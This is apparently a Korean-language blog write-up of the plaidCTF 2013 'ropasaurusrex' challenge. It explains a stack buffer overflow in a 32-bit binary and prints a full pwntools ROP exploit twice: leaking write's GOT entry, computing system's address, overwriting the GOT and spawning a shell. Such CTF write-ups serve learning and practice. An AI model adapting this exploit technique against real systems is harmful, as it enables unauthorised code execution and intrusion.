[plaidCTF-2013 ropasaurusrex]
32bit binary이고 NX가 걸려있습니다.
main 함수에서는 어떤 함수를 호출하고 WIN을 출력합니다.
함수를 따라 들어가보면, bp-0x88에 위치한 buf에 read 함수로 0x100만큼 입력을 받아 BOF가 발생합니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 |
from pwn import *
#p = process('./ropasaurusrex') p = remote('localhost', 6666) e = ELF('./ropasaurusrex')
pppr = 0x080484b6 binsh = "/bin/sh" offset = 0x99a80 #write - system
read_plt = e.plt['read'] write_plt = e.plt['write'] write_got = e.got['write'] |
이 부분에서는 pppr gadget과 offset (write – system), read_plt, write_plt, write_got를 구했습니다.
write, read 모두 3개의 파라미터를 가지기 때문에 pppr gadget을 구했고, offset은 ASLR을 우회하기 위해서 찾아준 다음, 실제 공격할 때 write 함수의 주소와 offset을 이용하여 system의 주소를 찾기 위함입니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
payload = "" payload += "A"*(0x88 + 0x4)
payload += p32(read_plt) payload += p32(pppr) payload += p32(0) #stdin payload += p32(e.bss()) payload += p32(8) #len(/bin/sh)
payload += p32(write_plt) payload += p32(pppr) payload += p32(1) #stdout payload += p32(write_got) payload += p32(4) #len(write_got)
payload += p32(read_plt) payload += p32(pppr) payload += p32(0) #stdin payload += p32(write_got) payload += p32(4) #len(write_got)
payload += p32(write_plt) payload += "AAAA" payload += p32(e.bss()) |
payload를 구성합니다. 우선 더미 값으로 Return Address까지 채워주고, read 함수로 bss 영역에 “/bin/sh” 문자열을 넣기 위해 세팅해줍니다.
pppr로 인자를 정리하고 write로 write 함수의 got를 출력하게 합니다.
그 후 pppr로 다시 정리하고 read 함수로 뛰어서 write 함수의 got를 system 함수로 바꿔 놓습니다. 그리고 다시 write의 plt를 호출하는데, 여기서 실제로 실행되는 함수는 write가 아니라 system 함수입니다. 인자로 넣어줬던 “/bin/sh” 문자열의 주소를 넘깁니다.
1 2 3 4 5 6 7 8 9 10 |
p.sendline(payload)
p.sendline("/bin/sh")
system = u32(p.recv(4)) - offset print hex(system)
p.sendline(p32(system))
p.interactive() |
payload를 보내고, 첫 번째 read에서 받을 “/bin/sh”를 넘겨줍니다.
두 번째 write에서 출력한 write의 got를 받아오고 unpacking한 다음 offset과 더해서 system의 주소를 만들어냅니다.
세 번째 read에 system 함수의 주소를 넘겨서 write의 got를 system 함수의 주소로 바꿉니다.
그리고 interactive 함수로 쉘과 연동합니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 |
from pwn import *
#p = process('./ropasaurusrex') p = remote('localhost', 6666) e = ELF('./ropasaurusrex')
pppr = 0x080484b6 binsh = "/bin/sh" offset = 0x99a80 #write - system
read_plt = e.plt['read'] write_plt = e.plt['write'] write_got = e.got['write']
payload = "" payload += "A"*(0x88 + 0x4)
payload += p32(read_plt) payload += p32(pppr) payload += p32(0) #stdin payload += p32(e.bss()) payload += p32(8) #len(/bin/sh)
payload += p32(write_plt) payload += p32(pppr) payload += p32(1) #stdout payload += p32(write_got) payload += p32(4) #len(write_got)
payload += p32(read_plt) payload += p32(pppr) payload += p32(0) #stdin payload += p32(write_got) payload += p32(4) #len(write_got)
payload += p32(write_plt) payload += "AAAA" payload += p32(e.bss())
p.sendline(payload)
p.sendline("/bin/sh")
system = u32(p.recv(4)) - offset print hex(system)
p.sendline(p32(system))
p.interactive() |
전체 코드
쉘을 따냈습니다.
'System&Write up > CTF' 카테고리의 다른 글
[Pico CTF 2013] overflow4 (0) | 2018.01.17 |
---|---|
[Pico CTF 2013] overflow3 (0) | 2018.01.16 |
[Pico CTF 2013] overflow2 (0) | 2018.01.14 |
[Pico CTF 2013] overflow1 (0) | 2018.01.14 |
[제 1회 Root CTF] Point to pointer! - (529 point) (0) | 2017.12.24 |